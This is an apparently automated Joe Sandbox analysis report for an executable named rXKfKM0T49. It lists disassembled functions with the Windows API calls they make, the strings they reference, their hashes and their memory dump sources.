Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 70091777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 70091B5F: GlobalFree.KERNEL32(?), ref: 70091DB2
Part of subcall function 70091B5F: GlobalFree.KERNEL32(?), ref: 70091DB7
Part of subcall function 70091B5F: GlobalFree.KERNEL32(?), ref: 70091DBC

GlobalFree.KERNEL32(00000000), ref: 70091825
FreeLibrary.KERNEL32(?), ref: 700918AB
GlobalFree.KERNEL32(00000000), ref: 700918D0

Part of subcall function 70092352: GlobalAlloc.KERNEL32(00000040,?), ref: 70092383

Part of subcall function 70092724: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,700917F6,00000000), ref: 700927F4

Part of subcall function 700915C6: wsprintfW.USER32 ref: 700915F4

Strings

, xrefs: 700918B1

Memory Dump Source

Source File: 00000000.00000002.1855880593.0000000070091000.00000020.00000001.01000000.00000004.sdmp, Offset: 70090000, based on PE: true

Associated: 00000000.00000002.1855819178.0000000070090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1855965653.0000000070094000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1855996025.0000000070096000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70090000_rXKfKM0T49.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: ec6f555e9f43647bfe7486438c51c0355eab11d753c6178c004ea0b9b7ea0270
Instruction ID: fd57513ab98fdb66aeb8243f975e1869204649417d479dcde3e4b7445d049bde
Opcode Fuzzy Hash: ec6f555e9f43647bfe7486438c51c0355eab11d753c6178c004ea0b9b7ea0270
Instruction Fuzzy Hash: A34101726202049EDB108F70DC84BCE37FDBB04B30F514069F907AA286DBB89484F7A8

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nspC239.tmp,00000023,00000011,00000002), ref: 0040242F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nspC239.tmp,00000000,00000011,00000002), ref: 0040246F
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nspC239.tmp,00000000,00000011,00000002), ref: 00402557

Strings

C:\Users\user\AppData\Local\Temp\nspC239.tmp, xrefs: 00402420, 0040242E, 00402445, 00402459, 00402464

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nspC239.tmp
API String ID: 2655323295-4078068100
Opcode ID: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction ID: 2320c74fc41ffeb716861e397aa06506e2c1d49fdd3331f7b5a779c93e7e4390
Opcode Fuzzy Hash: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction Fuzzy Hash: C4118471E00104BEEB10AFA5DE89EAEBB74EB44754F11803BF504B71D1DBB89D419B68

Function 00405F0D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00435000,004034A3,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76F93420,004036EF), ref: 00405F46

Strings

nsa, xrefs: 00405F1A
C:\Users\user\AppData\Local\Temp\, xrefs: 00405F12, 00405F16

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-2113348990
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 004062B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000002,00422708,00000000,?,?,Call,?,?,0040652A,80000002), ref: 004062FC
RegCloseKey.ADVAPI32(?,?,0040652A,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,00422708), ref: 00406307

Strings

Call, xrefs: 004062BD

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction ID: efe3e51cb47fe95fa6bbb83f3cb46ebf457b8c4b35673ac5825ceff03b23bf8b
Opcode Fuzzy Hash: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction Fuzzy Hash: B301717250020AEBDF218F55CD09EDB3FA9EF55354F114039FD15A2150E778D964CBA4

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406943 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 004032DE Relevance: 4.6, APIs: 3, Instructions: 101COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004032F2

Part of subcall function 0040345D: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 00403325
SetFilePointer.KERNELBASE(001710A7,00000000,00000000,00414ED0,00004000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000), ref: 00403420

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: FilePointer$CountTick
String ID:
API String ID: 1092082344-0
Opcode ID: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
Instruction ID: a2c2ae871b20a7f651e14226ae934804f023725c52e887911cb1b1382089a511
Opcode Fuzzy Hash: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
Instruction Fuzzy Hash: 54313872610215DBD721DF29EEC496A3BA9F74039A754433FE900F62E0CBB99D018B9D

Function 00402032 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,?,000000F0), ref: 0040205D

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

LoadLibraryExW.KERNEL32(00000000,?,00000008,?,000000F0), ref: 0040206E
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,?,000000F0), ref: 004020EB

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction ID: 38390b8595ebf5dc4f6cf14c4d4b7ed92d06cc21542818b97b262269bef072d5
Opcode Fuzzy Hash: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction Fuzzy Hash: DC218331D00215BACF20AFA5CE4D99E7A70BF04358F60413BF511B51E0DBBD8991DA6E

Function 004024F8 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 0040252B
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 0040253E
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nspC239.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

